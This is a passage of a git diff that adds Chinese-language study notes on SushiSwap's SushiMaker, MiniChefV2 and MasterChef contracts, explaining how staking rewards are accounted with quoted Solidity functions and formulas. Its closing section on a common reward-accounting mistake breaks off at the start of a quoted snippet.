+此接口是 SushiMaker 的核心接口，用于把其他转换为 sushi token，具体的转换规则如下：  
+1） 当 token （ token0 或是 token1 ） 为 sushi token 时，直接把 token 对应余额发送给 sushiBar  
+2） 当 token （ token0 或是 token1 ) 为 weth token 时，把 weth 通过 weth/sushi 交易对转换为 sushi token，然后把转换后的余额发送给 sushiBar  
+3） 当不满足 1，2 时，通过 bridge 获得此币种的中间转币种，比如 shib 的中间转换币种为 weth 。把此币种转换为中间币种，然后重复步骤 1，2，3
+```solidity
+function _convertStep(
+        address token0,
+        address token1,
+        uint256 amount0,
+        uint256 amount1
+    ) internal returns (uint256 sushiOut)
+```
\ No newline at end of file
diff --git a/defi/Sushi/analyze/06-MiniChefV2.md b/defi/Sushi/analyze/06-MiniChefV2.md
new file mode 100644
index 000000000..8c125bd2e
--- /dev/null
+++ b/defi/Sushi/analyze/06-MiniChefV2.md
@@ -0,0 +1,192 @@
+# 介绍  
+MiniChefV2 是一个简化版的 MasterChef 合约，用于发放 Sushi token。 用户质押指定的 LP token 到 MiniChef 中，可以享受 Sushi token 线性释放的分成奖励。
+具体的分成规则如下： 
+- MiniChef 设置 sushi 奖励的发放速率 sushiPerSecond ，以秒计算，比如 10 ，那么意味着每秒发放 10 sushi 奖励给所有人   
+- MiniChef 设置能享受 Sushi token 奖励的 LP 池，同时设置此 LP 占 Sushi 奖励分成的比重。  
+比如 MiniChef 设置了 WETH/DAI 和 WBTC/USDT 这两个交易对能享受分成，同时设置  WETH/DAI 交易对的分成币种为 10， WBTC/USDT 交易对的分成比重为 40，那么 sushi 的奖励总量为 100 时，WETH/DAI 交易对的 LP 用户能分到 100 * ( 10 / (10 + 40)) = 20 个 sushi，具体计算公式如下：  
+sushiReward = $\frac{ poolWeight }{ totalWeight} \times (sushiPerSecond \times timePassed) $   
+poolWeight = LP 奖励分配比重  
+totalWeight = 所有 LP 分配比重之和  
+sushiPerSecond = sushi 奖励每秒发放速率  
+timePassed = 上一次奖励结算到现在为止经过的秒数  
+
+- 计算 LP 池中每份 LP 获得的奖励 accSushiPerShare。 这个数值在用户 deposite 和 withdraw LP 的时候就算自动计算      
+比如 WBTC/WETH 池当前分到了 100 sushi，在这个池子中总共质押了 20 LP token ， 那么每份 LP 能分到 100 / 20 => 5 个 sushi。具体计算公式如下：  
+accSushiPerShare = $\frac{ poolReward }{ totalLpStaked }$   
+poolReward = 当前池子分到的 sushi 奖励   
+totalLpStaked = 质押的 LP 总量   
+
+- 用户调用 harvest 接口提取当前的 sushi 奖励   
+
+
+## 合约分析  
+MiniChef 里面有很多接口，下面将逐个进行讲解。
+
+- constructor  
+合约部署时需要传入 sushi token 地址，以便后续发放 sushi 奖励。
+```solidity
+constructor(IERC20 _sushi) public {
+        SUSHI = _sushi;
+    }
+```
+
+- add  
+添加奖励池列表，用户只有质押列表中的 LP token 才能获取 sushi token 奖励 。 
+这里设置能享受 sushi token 奖励的 LP 列表，之后用户存入对应的 LP token 就能获取 sushi 奖励。  
+```solidity
+function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner {
+        require(addedTokens[address(_lpToken)] == false, "Token already added");
+        totalAllocPoint = totalAllocPoint.add(allocPoint);
+        lpToken.push(_lpToken);
+        rewarder.push(_rewarder);
+
+        poolInfo.push(PoolInfo({
+            allocPoint: allocPoint.to64(),
+            lastRewardTime: block.timestamp.to64(),
+            accSushiPerShare: 0
+        }));
+        addedTokens[address(_lpToken)] = true;
+        emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder);
+    }
+```
+
+- set  
+每个 LP token 池有一个配额比例，比如 sushi/weth LP 池的占比 10%，那么如果 sushi token 总产出为 100，那么 sushi/weth LP 池的用户能得到 10 sushi 。
+这个接口用于改 LP token 在 sushi token 分配中的占比。 
+需要注意的是，如果直接调用这个 set 接口改变 pool 的分配比例，会出现 sushi token 分配不一致的情况。比如 pool1 的 allocPoint 为 20， pool2 的 allocPoint 为 80，那么如果当前时刻 sushi token 的总产量为 100 ，pool1 可以分到 20 个 sushi token，pool2 可以分到 80 个 sushi token。 但如果在进行 sushi token 分配钱直接调用 set 接口，修改 pool2 的 allocPoint 为 180，那么分配时 pool1 只能分配到 10 个 sushi token， pool2 能分配到 90 个 sushi token。 所以正确的做法是，在调用 set 接口前，首先调用 massUpdatePools 更新每个 pool 的收益，然后之后的周期开始，按照新的分配比例进行分配。
+```solidity
+/// @notice Update the given pool's SUSHI allocation point and `IRewarder` contract. Can only be called by the owner.
+    /// @param _pid The index of the pool. See `poolInfo`.
+    /// @param _allocPoint New AP of the pool.
+    /// @param _rewarder Address of the rewarder delegate.
+    /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored.
+    function set(uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite) public onlyOwner {
+        totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
+        poolInfo[_pid].allocPoint = _allocPoint.to64();
+        if (overwrite) { rewarder[_pid] = _rewarder; }
+        emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite);
+    }
+```
+
+- setSushiPerSecond  
+sushi token 的总释放量是根据每秒中 sushi token 的释放速度进行计算的。通过这个接口，可以改变每秒 sushi token 的释放速度，从而改变 sushi token 的总释放量。  
+
+```solidity
+/// @notice Sets the sushi per second to be distributed. Can only be called by the owner.
+    /// @param _sushiPerSecond The amount of Sushi to be distributed per second.
+    function setSushiPerSecond(uint256 _sushiPerSecond) public onlyOwner {
+        sushiPerSecond = _sushiPerSecond;
+        emit LogSushiPerSecond(_sushiPerSecond);
+    }
+```
+
+- pendingSushi   
+此接口用于计算特定用户可以收获的 sushi token 数量。 
+1) accSushiPerShare：表示每分 LP token 可以分得的 sushi token 数量  
+2) user.rewardDebt： 用户已经分配的 sushi token 数量  
+3) pool.allocPoint： 当前 pool 池可以分得的 sushi token 的占比比重  
+4） totalAllocPoint： 所有分配 sushi token 的 pool 相加获得的总的比重  
+5) block.timestamp.sub(pool.lastRewardTime) 用于计算上次分配 sushi token 后经过的 秒数 
+```solidity
+function pendingSushi(uint256 _pid, address _user) external view returns (uint256 pending) {
+        PoolInfo memory pool = poolInfo[_pid];
+        UserInfo storage user = userInfo[_pid][_user];
+        uint256 accSushiPerShare = pool.accSushiPerShare;
+        uint256 lpSupply = lpToken[_pid].balanceOf(address(this));
+        if (block.timestamp > pool.lastRewardTime && lpSupply != 0) {
+            uint256 time = block.timestamp.sub(pool.lastRewardTime);
+            uint256 sushiReward = time.mul(sushiPerSecond).mul(pool.allocPoint) / totalAllocPoint;
+            accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply);
+        }
+        pending = int256(user.amount.mul(accSushiPerShare) / ACC_SUSHI_PRECISION).sub(user.rewardDebt).toUInt256();
+    }
+```
+
+- deposite    
+用户质押 LP  token 的接口，通过这个接口质押 LP 到 MiniChef 后，用户才能获得 sushi token 收益。需要注意的是，只有质押通过 add 接口添加到 sushi token 收益列表的 LP token 才能获得 sushi token 收益。 用户在质押的时候，会同时更新用户的 user.amount 和 user.rewardDebt，具体更新公式如下：   
+1） 截止用户再次质押时，用户总的收益为 total_yield : user.amount * pool.accSushiPerShare    
+2)  截止用户再次质押时，用户总的已领取的收益为 total_rewardDebt： user.rewardDebt    
+3） 所以用户可领取的收益为 ： total_yield - total_rewardDebt   
+4) total_yield 和 total_rewardDebt 式子中同时加上用户此时质押的 LP amount，两个式子的差值不变  
+```solidity
+function deposit(uint256 pid, uint256 amount, address to) public {
+        PoolInfo memory pool = updatePool(pid);
+        UserInfo storage user = userInfo[pid][to];
+
+        // Effects
+        user.amount = user.amount.add(amount);
+        user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION));
+
+        // Interactions
+        IRewarder _rewarder = rewarder[pid];
+        if (address(_rewarder) != address(0)) {
+            _rewarder.onSushiReward(pid, to, to, 0, user.amount);
+        }
+
+        lpToken[pid].safeTransferFrom(msg.sender, address(this), amount);
+
+        emit Deposit(msg.sender, pid, amount, to);
+    }
+```
+
+- withdraw   
+用户提取质押在 MiniChef 中的 LP token。 具体计算逻辑同 deposite 类似，在用户提取的过程中会更新用户的 user.amount 和 user.rewardDebt，具体更新公式如下： 
+1） 截止用户再次质押时，用户总的收益为 total_yield : user.amount * pool.accSushiPerShare    
+2)  截止用户再次质押时，用户总的已领取的收益为 total_rewardDebt： user.rewardDebt    
+3） 所以用户可领取的收益为 ： total_yield - total_rewardDebt 
+4) total_yield 和 total_rewardDebt 式子中同时减去用户此时提取的 LP amount，两个式子的差值不变  
+```solidity
+function withdraw(uint256 pid, uint256 amount, address to) public {
+        PoolInfo memory pool = updatePool(pid);
+        UserInfo storage user = userInfo[pid][msg.sender];
+
+        // Effects
+        user.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION));
+        user.amount = user.amount.sub(amount);
+
+        // Interactions
+        IRewarder _rewarder = rewarder[pid];
+        if (address(_rewarder) != address(0)) {
+            _rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount);
+        }
+
+        lpToken[pid].safeTransfer(to, amount);
+
+        emit Withdraw(msg.sender, pid, amount, to);
+    }
+```
+
+- harvest   
+提取用户的 sushi token 收益。根据之前分析的 deposite 和 withdraw 的逻辑中，我们知道用户此时的收益为 user.amount.mul(pool.accSushiPerShare) - user.rewardDebt 。 这里 harvest 的时候就是这样处理的，在处理过程中同时处理的对应数值的精度。 
+在提取的过程中，会更新用户的 user.rewardDebt = accumulatedSushi 以保证用户无法重复提取 sushi token 奖励
+```solidity
+/// @notice Harvest proceeds for transaction sender to `to`.
+    /// @param pid The index of the pool. See `poolInfo`.
+    /// @param to Receiver of SUSHI rewards.
+    function harvest(uint256 pid, address to) public {
+        PoolInfo memory pool = updatePool(pid);
+        UserInfo storage user = userInfo[pid][msg.sender];
+        int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION);
+        uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256();
+
+        // Effects
+        user.rewardDebt = accumulatedSushi;
+
+        // Interactions
+        if (_pendingSushi != 0) {
+            SUSHI.safeTransfer(to, _pendingSushi);
+        }
+
+        IRewarder _rewarder = rewarder[pid];
+        if (address(_rewarder) != address(0)) {
+            _rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.amount);
+        }
+
+        emit Harvest(msg.sender, pid, _pendingSushi);
+    }
+```
+
+## 参考链接  
+- polygon MiniChefV2: https://polygonscan.com/address/0x0769fd68dfb93167989c6f7254cd0d766fb2841f    
+- polygon rewarder:  https://polygonscan.com/address/0xa3378Ca78633B3b9b2255EAa26748770211163AE#writeContract  
+- polygon MiniChefV2 的 harvest 交易： https://polygonscan.com/tx/0x68709510e36106b8af5d45390b2da055a02a0fbd6f5fde54c167e6ac6845bbe7  
diff --git a/defi/Sushi/analyze/07-masterChef.md b/defi/Sushi/analyze/07-masterChef.md
new file mode 100644
index 000000000..b128b500e
--- /dev/null
+++ b/defi/Sushi/analyze/07-masterChef.md
@@ -0,0 +1,236 @@
+# masterChef learning
+
+根据cmichel的[文章](https://cmichel.io/how-to-become-a-smart-contract-auditor/)，[masterChef](https://github.dev/sushiswap/sushiswap/blob/271458b558afa6fdfd3e46b8eef5ee6618b60f9d/contracts/MasterChef.sol)是后面所有的DEFI项目都必须掌握的基础
+
+它涉及到了质押，分发代币的功能。
+
+主要是根据用户质押的时间和数量来线性的分发代币。即质押挖矿的模式。具体的分发逻辑是每一个区块固定分的一定量的sushi代币，考虑到同时存在不同的LP资金池都需要奖励sushi，这几个池子会按照预先设计好的allocPoint来按照权重分配sushi代币。对于一个池子中，会按照LPtoken的比例给用户分发该池子中分配得到的sushi代币。每一个区块都会累积，这里应该是累加，而不是累乘。
+
+它应该涉及到一个LP流动性池，一个待分发的代币Token。一条类似于borrowIndex的曲线。
+
+这条曲线应该怎样来设计？即如何抽象？
+
+首先是一个用户质押了amount数量的LPtoken，在时间段Delta Blocks，以及这段时间内的分发速率f。
+
+借鉴compound中的抽象思路，肯定是在池子中维护一个全局变量index，这个index应该对池子的deltaBlocks和这段时间的分发速率进行抽象，一个用户具体应该分发得到的token数量应该是用户的LP amount与这个index的一个函数。
+
+即：N=f(index, n)
+
+分发速率F应该如何定义？即token对于单位LP数量，单位时间的分发速率应该是一个常数，
+
+即分发速率F应该等于单位区块总共分发出的sushiPerBlock数量乘以这个LP资金池的sushi分配额度占据所有池子的分配额度总和的百分比，得到这个池子在这个块应该能分到的sushi总数。然后再除以这个池子中此时的LP总的流动性，得到每一份流动性LPtoken提供者应该在一个区块中分配到sushi数量, 即：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=f=\frac{sushiPerBlock\times\frac{pool.allocPoint}{totalAllocPoint}}{lpSupply}">-->
+$$
+f=\frac{sushiPerBlock\times\frac{pool.allocPoint}{totalAllocPoint}}{lpSupply}
+$$
+
+即：rewardIndex_b = rewardIndex_a + (deltaBlocks * F )
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=Index(N)=Index(N-1)%2B\deltaN\times\frac{sushiPerBlock}{lpSupply(N-1)}\times\frac{pool.allocPoint}{totalAllocPoint}">-->
+$$
+Index(N)=Index(N-1)%2B\deltaN\times\frac{sushiPerBlock}{lpSupply(N-1)}\times\frac{pool.allocPoint}{totalAllocPoint}
+$$
+
+> 与compound中的borrowIndex不同的是: 
+> borrowIndex中，借贷利率不是一个常数，而是一个随着资金利用率变化的一个值。而这里的分发速率是一个定值；
+> 不同点之二在于：borrowindex事实上是复利的一个实现，即FV=PV*(1 + borrowRate)^t, 而masterchef中，应该采用累加，而不是borrowIndex中的累乘。因为它只是奖励sushi，把每一个区块的奖励都累加到用户上即可，不需要累乘的逻辑
+
+在sushi中，定义了一个accSushiPerShare的概念，类似于这里的index。
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=deltaBlocks=block.number-pool.lastRewardBlock">-->
+$$
+deltaBlocks = block.number - pool.lastRewardBlock
+$$
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=sushiReward=deltaBlocks*sushiPerBlock*pool.allocPoint/totalAllocPoint">-->
+$$
+sushiReward = deltaBlocks * sushiPerBlock * pool.allocPoint / totalAllocPoint
+$$
+  
+<!--<img src="https://render.githubusercontent.com/render/math?math=pool.accSushiPerShare_b=pool.accSushiPerShare_a%2BsushiRewardlpSupply">-->
+$$
+pool.accSushiPerShare_b = pool.accSushiPerShare_a + sushiRewardlpSupply
+$$
+
+比较trick的一点是，sushi在计算deltaBlocks中，其设计了一个bonus时间，在bonus时间内的LP提供者，其奖励会乘以10倍。
+
+## 合约实现
+
+上面简单分析了下masterchef应该如何去公平的分发代币，然后这里我们需要落实到代码实现层面。如何去设计数据结构等.
+
+针对用户，masterchef中定义了一个结构体：UserInfo，对比compound中的borrowSnapshot，可以发现有类似之处，首先UserInfo中的amount即该用户在最新时刻的LP token的数量。rewardDebt应该是用户截至最新时刻已经claimed的sushi代币数量。对比compound中，compound给用户设计了一个borrowSnapshot，即一个借款金额快照，principal是用户截止最新时刻的含息贷款数额，interestIndex是最新时刻的借贷指数。因为masterchef是一个累加的逻辑，所以在用户里保存上一次claim的sushi数量；而compound是一个累乘的逻辑，所以在用户里保存上一次的borrowIndex。
+
+针对masterchef，当需要计算新增的分配用户的sushi Token时，只需要：
+
+pending reward = user.amount * pool.accSushiPerShare - user.rewardDebt
+
+针对compound，当需要计算用户新的含息借款数量时，只需要：
+
+principalNew =  principal * borrowIndexNew / interestIndex;
+
+```js
+//masterchef
+struct UserInfo {
+  uint256 amount;
+  uint256 rewardDebt;
+}
+//compound
+struct BorrowSnapshot {
+  uint256 principal;
+  uint256 interestIndex;
+}
+```
+
+针对pool，masterchef设计了如下的数据结构：
+
+```js
+struct PoolInfo {
+	IERC20 lpToken; //LP token address
+	uint256 allocPoint; // allocation points assinged to this pool
+	uint256 lastRewardBlock; //last block number that sushi distributed
+	uint256 accSushiPerShare; //accumulated sushi per share, mantissa=12
+}
+```
+
+全局变量的设计：
+
+```js
+SushiToken public sushi;
+address public devAddr;
+uint256 public bonusEndBlock;
+uint256 public sushiPerBlock;
+uint256 public constant BONUS_MULTIPLIER = 10;
+IMigratorChef public migrator;
+PoolInfo[] public poolInfo;
+mapping(uint256 => mapping(address => UserInfo)) public userInfo;
+uint256 public totalAllocPoint = 0;
+uint256 public startBlock;
+```
+
+方法设计：
+
+疑问：用户相关的方法中，为什么没有一个类似于harvest的方法，用于收割sushi？
+
+
+
+1. user related
+
+   1. Deposit => deposit LP to get sushi
+
+      ```js
+      //用户存款的核心方法,用户存LP，获取sushi收益
+      
+      function deposit(uint256 _pid, uint256 _amount) public {}
+      //第一步：根据pid在list中找到对应的pool，保存在storage中
+      //第二步：根据pid和msg.sender,在userInfo的map中找到用户的在该pid对应的userInfo结构体,保存到storage中
+      //第三步：最重要的一步：调用updatePool方法，更新池子
+      //第四步：如果userInfo中的amount>0,它代表的是用户之前在池子中的lp存款数量，根据公式：userinfo.amount * pool.accSushiPerShare - userinfo.rewardDebt计算出应该给用户转账的sushi数量，然后执行sushi的转账
+      //第五步：把用户的LPtoken转账到该资金池中
+      //第六步：更新用户的存款：userinfo.amount += amount
+      //第七步：更新用户的已cliamedSushi： 
+      //userInfo.rewardDebt += userinfo.amount * pool.accSushiPerShare -userinfo.rewardDebt 
+      //= userinfo.amount * pool.accSushiPerShare
+
+   2. Withdraw => withdraw LP from Masterchef
+
+      ```js
+      //用户提款的核心方法：用户提走LPtoken，同时应该将此时的sushi收益分给用户
+      function withdraw(uint _pid, uint256 _amount) public {}
+      
+      //第一步：根据pid在list中找到对应的pool，保存在storage中
+      //第二步：根据pid和msg.sender地址在map userInfo中找到对应的userinfo，保存在storage中
+      //第三步：进行判断，用户在池子中存入的amount >= 此次要提出的amount
+      //第四步：最重要的一步：更新池子状态
+      //第五步：计算出用户的pendingSushi，根据公式：userinfo.amount * pool.accSushiPerShare - userinfo.rewardDebt
+      //第六步：把sushi转账给用户
+      //第七步：更新userinfo.amount数量
+      //第八步：更新userinfo.rewardDebt数量
+      //第九步：把lPtoken转账回用户。
+      ```
+
+      
+
+   3. emergencyWithdraw => withdraw LP from masterchef regradless the rewards
+
+      ```js
+      //紧急撤离，看来大多数的protocol里面都涉及到这部分功能，即我不要你的奖励，我只要我的本金安全。
+      
+      function emergencyWithdraw(uint256 _pid) public {}
+      //第一步：根据pid在list中找到对应的pool，保存在storage中
+      //第二步：根据pid和msg.sender地址在map userInfo中找到对应的userinfo，保存在storage中
+      //第三步：更新userinfo.amount = 0
+      //第四步：更新userinfo.rewardDebt = 0
+      //第五步：把lptoken转账给用户，用户的全部
+      ```
+
+      
+
+2. pool related
+
+   1. massUpdatePools => update all pools
+
+      ```js
+      //批量更新所有的池子，简单就是利用一个循环来调用updatePool方法即可
+      function massUpdatePools() public{}
+      
+      ```
+
+   2. updatePool => update the rewardIndex
+
+      ```js
+      //应该是masterchef中最核心的方法，用于更新rewardIndex指数，并且直接把sushi给mint到该池子中，也会mint一部分到dev中
+      //rewardIndex_b = rewardIndex_a + deltaBlocks * sushiPerBlock * pool.allocPoint / totalAllcoPoint / lpSupply 
+      
+      function updatePool(uint256 _pid) public {}
+      
+      //第一步：根据pid在list中找到对应的pool，保存成memory
+      //第二步：判断是否在同一个块中，因为一个块只更新一次。如果在同一个块，则直接返回
+      //第三步：利用pool.lpToken.balanceOf方法，获取目前lpToken的总数lpSupply
+      //第四步：如果lpSupply==0，即分母为0，需要特殊考虑，这里更新完blocknumber后直接返回
+      //第五步：利用getMultiplier方法，根据当前的block.number和pool中记录的lastRewardBlock计算deltaBlocks
+      //第六步：计算sushiReward，即deltaBlocks * sushiPerBlock * pool.allocPoint / totalAllcoPoint，这里是整个池子在这段区块中的总的reward
+      //第七步：给DEV地址，mint 10%的sushiReward的sushi
+      //第八步：给pool地址，mint 这个池子应该得到的sushi
+      //第九步：计算池子的rewardIndex：rewardIndex_b = rewardIndex_a + sushiReward/ lpSupply
+      //第十步：更新池子的lastRewardBlock=block.number
+      ```
+
+      
+
+3. helper
+
+   1. poolLength => return poolInfo.length;
+   2. getMultiplier => return deltaBlocks
+   3. pendingSushi => pending sushi for user for pid pools
+   4. safeSushiTransfer => transfer sushi token
+   5. Dev => update dev address 
+
+4. onlyOwner
+
+   1. add => add a lp to the pool
+   2. Set => set allowcation point
+   3. setMigrator => set migrator
+
+5. Migrate:
+
+   1. Migrate
+
+      ```js
+      //作用是把一个池子中的LP token转移到另一个池子里，这里的思路是先由合约的owner设定一个migrate合约地址，然后由任何人来调用其migrate方法
+      function migrate(uint256 _pid) public {}
+      //第一步：检查migrate合约地址不能为空
+      //第二步：把对应pid的pool找到，放在storage中
+      //第三步：拿到对应的pool的lptoken地址
+      //第四步：获取该lptoken的总余额
+      //第五步：approve migrate合约
+      //第六步：调用migrate合约的migrate方法，返回一个新的LP合约地址
+      //第七步：migrate后的数量与之前一致
+      //第八步：更新pool的lptoken地址
+      ```
+
+      
+
+
+
+
diff --git a/defi/Sushi/analyze/08-masterChef2.md b/defi/Sushi/analyze/08-masterChef2.md
new file mode 100644
index 000000000..5d69e4802
--- /dev/null
+++ b/defi/Sushi/analyze/08-masterChef2.md
@@ -0,0 +1,206 @@
+# MasterChef 2
+
+masterChef的使用程度之广泛远超我的想象，之前写过一版本的分析，但是自己的认知还是不深刻。这次借用Paradigm的一篇[分析文章](https://www.paradigm.xyz/2021/05/liquidity-mining-on-uniswap-v3/)，把masterchef重新再梳理一下。
+
+masterChef它所要解决的核心问题是：如何在区块链上对流动性提供者进行代币的线性分配。即用户alice向一个池子里提供了流动性，alice的LP数量为 $l$,此刻整个池子中的总共的流动性为： $L$，作为项目方，需要奖励类似于Alice这样的流动性提供者，奖励的标的是项目方自己发行的治理代币，比如sushi。
+
+项目方奖励的逻辑是规定一段时间，这个池子中的所有流动性提供者会按照他们提供的流动性占比来分配一定额度的sushi代币，且该代币的分配数量应该是与提供流动性的时间呈线性相关。即：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=Reward_{Alice}=\sum_{t=t_0}^{t_1}R\cdot\frac{l(t)}{L(t)}">-->
+$$
+Reward_{Alice}=\sum_{t=t_0}^{t_1}R\cdot\frac{l(t)}{L(t)}
+$$
+
+其中， $R$ 是单位时间内，项目方愿意分配给池子中的代币总额
+
+$l(t)$为t时刻，流动性提供者Alice的流动性数量； $L(t)$ 为t时刻，池子中所有的流动性数量之和。
+
+对上面的公式进行简化，首先是如果在一段时间内，alice的流动性数量不变，且R也不变，即公式中的R和 $l(t)$ 与时间无关，则公式可以简化为：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=Reward_{Alice}=R\cdotl\cdot\sum_{t=t_0}^{t_1}\frac{1}{L(t)}">-->
+$$
+Reward_{Alice} = R \cdot l \cdot \sum_ {t=t_0}^{t_1}\frac{1}{L(t)}
+$$
+
+然后再将从t0到t1的时间段可以拆分成[0,t0],[0,t1]两个时间段之差，公式可变形为：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=Reward_{Alice}=R\cdotl\cdot(\sum_{t=0}^{t_1}\frac{1}{L(t)}-\sum_{t=0}^{t_0}\frac{1}{L(t)})">-->
+$$
+Reward_{Alice} = R \cdot l \cdot (\sum_ {t=0}^{t_1}\frac{1}{L(t)} - \sum_ {t=0}^{t_0}\frac{1}{L(t)})
+$$
+
+可以看到，Alice 在一段时间内应该获得的代币数量为代币单位时间分配速率R，alice在这段时间内的流动性数量 $l$,以及总流动性倒数之和相关。
+
+在合约的实现中，可以在全局储存一个变量，即accSushiPerShare
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=accSushiPerShare=R\cdot\sum_{t=0}^{t}\frac{1}{L(t)}">-->
+$$
+accSushiPerShare = R \cdot \sum_{t=0}^{t}\frac{1}{L(t)}
+$$
+
+针对每一个用户，必须在用户首次提供流动性时，就记录下用户提供流动性的那一个时刻 $t_0$ 的`accSushiPerShare`,即rewardDebt，以及用户提供的流动性数量amount
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=rewardDebt=l\cdotR\cdot\sum_{t=0}^{t_0}\frac{1}{L(t)}">-->
+$$
+rewardDebt = l \cdot R \cdot \sum_{t=0}^{t_0}\frac{1}{L(t)}
+$$
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=amount=l">-->
+$$
+amount = l
+$$
+
+则在任意时刻t，用户想要去获取奖励的Sushi时,即Harvest时，其Sushi数量应该为：
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=Reward_{alice}=l\cdot(R\cdot\sum_{t=0}^{t}\frac{1}{L(t)}-R\cdot\sum_{t=0}^{t_0}\frac{1}{L(t)})">-->
+$$
+Reward_{alice} = l \cdot (R \cdot \sum_{t=0}^{t}\frac{1}{L(t)} - R \cdot \sum_{t=0}^{t_0}\frac{1}{L(t)})
+$$
+
+对应成代码部分，则应该为：
+
+```js
+int256 accumulatedSushi = user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION;
+uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256();
+```
+
+
+
+在上面的分析中，我们可以看到要保证用户的Sushi代币的数量计算正确，需要做到如下几点：
+
+1. 每一个用户在进入池子中首次提供流动性的时候，就需要给用户记录下rewardDebt，因为系统只记录一个累加的数值，需要用户自己记录一个某个时间点t0的数值
+2. 要保证每次池子中流动性发生变化时，累加的全局变量accSushiPerShare必须相应变化，因为此时的流动性总量发生了变化L(t)
+3. 尽可能保证全局变量accSushiPerShare能够及时更新，最好是每一次与合约的交互都去更新该数值。
+4. 在用户更新自己的rewardDebt之前应该首先更新全局变量accSushiPerShare
+
+
+
+## SushiSwap的MasterChefV2 - 标准实现
+
+sushiSwap的一个特点是它同时存在大量的池子需要来瓜分sushi代币奖励。所以设计时，需要把池子的编号也考虑进去。
+
+首先是全局变量设计：
+
+```js
+struct UserInfo {
+	uint256 amount; //用来储存用户的流动性l(t)
+	int256 rewardDebt; 
+}
+mapping(uint256=>mapping(address=>UserInfo)) public userInfo; //userInfo[pid][userAddr]
+        
+struct PoolInfo {
+	uint128 accSushiPerShare; 
+	uint64 lastRewardBlock; 
+	uint64 allocPoint; //用来计算分配速率R
+}
+PoolInfo[] public poolInfo;
+```
+
+方法设计：
+
+1. updatePool
+
+   作用是作为在用户与协议进行交互的第一步，更新系统的accSushiPerShare全局变量。在更新该变量时，类似于compound，同一个块里面不需要再次更新，即一个块只更新一次，不能更新多次。
+
+   为什么一个块里只能更新一次，不允许更新多次呢？首先从定义上讲，是随着时间线型增发。如果在同一个块里，说明时间没有增加，自然就不应该去更新这个值。其次如果一个块里多次更新，后续的更新也不会产生效果，因为deltaT=0
+
+   ```js
+   function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
+     第一步：根据pid拿到对应的poolInfo
+     第二步：判断当前blockNumber和上次更新的blockNumber，如果相同，说明在同一个块里，应直接跳过
+     第三步：获取当前pool的lpSupply,即L(t)
+     第四步：如果L(t)>0,则首先计算deltaT,计算R=poolInfo.allocPoint/totalPoint,计算deltaT*R/L(t),计算accSushiPerShare
+     第五步：更新pool.blockNumber
+   }
+   ```
+
+2. deposit
+
+   作用是用户存入流动性，并开始给用户记账.注意这里有msg.sender和to地址，这里记账只记to地址的
+
+   ```js
+   function deposit(uint256 pid, uint256 amount, address to) public {
+   	第一步：首先更新updatePool，更新全局变量accSushiPerShare
+   	第二步：拿到Userinfo，根据to地址
+   	第三步：更新userinfo的āmount和rewardDebt，即给user记账。
+   					user.rewardDebt += l*accSushiPerShare
+   					user.amount += amount
+   	第四步：把LPtoken从msg.sender地址转账到address(this)
+   }
+   ```
+
+3. withdraw
+
+   作用是取出流动性，并更新账本
+
+   ```js
+   function withdraw(uint256 pid, uint256 amount, address to) public {
+   	第一步：首先更新updatePool，更新全局变量accSushiPerShare
+   	第二步：拿到userInfo，根据msg.sender
+   	第三步：计算amount和rewardDebt: 
+   					user.rewardDebt -= l*accSushiPerShare
+   					user.amount -= amount;
+   	第四步：把LPtoken从address(this)转账到to地址
+   }
+   ```
+
+4. harvest
+
+   作用是收割奖励的token，并且更新user.rewardDebt
+
+   ```js
+   function harvest(uint256 pid, address to) public {
+   	第一步：首先更新updatePool，更新全局变量accSushiPerShare
+   	第二步：拿到userInfo,根据msg.sender
+   	第三步：计算用户累积的sushi： Reward_alice = l * accSushiPerShare - rewardDebt
+   				_pendingSushi = user.amount * accSushiPerShare - user.rewardDebt
+    	第四步：更新用户的user.rewardDebt
+     第五步：把sushi转账到to地址
+   }
+   ```
+
+   
+
+## 常见的错误
+
+在上面sushi的标准实现中，存在msg.sender和地址to，最常见的错误是updatePool后，应该更新user状态是msg.sender还是to？
+
+即因为一个用户的奖励sushi的数量是全局变量与用户自己记录的一个快照之间的差值，所以如果更新用户状态时，忘记更新用户的rewardDebt就会导致奖励的sushi数量非常大，远大于用户实际应该得到的数量。
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=Reward_{alice}=l\cdot(R\cdot\sum_{t=0}^{t}\frac{1}{L(t)}-R\cdot\sum_{t=0}^{t_0}\frac{1}{L(t)})">-->
+$$
+Reward_{alice} = l \cdot (R \cdot \sum_{t=0}^{t}\frac{1}{L(t)} - R \cdot \sum_{t=0}^{t_0}\frac{1}{L(t)})
+$$
+
+一个简单的例子是Andrecronje的[代码片段](https://gist.github.com/andrecronje/6c3da8b294488001adeda528f70bc301)
+
+```js
+function deposit(uint amount, address recipient) external {
+        _deposit(amount, recipient);
+    }
+
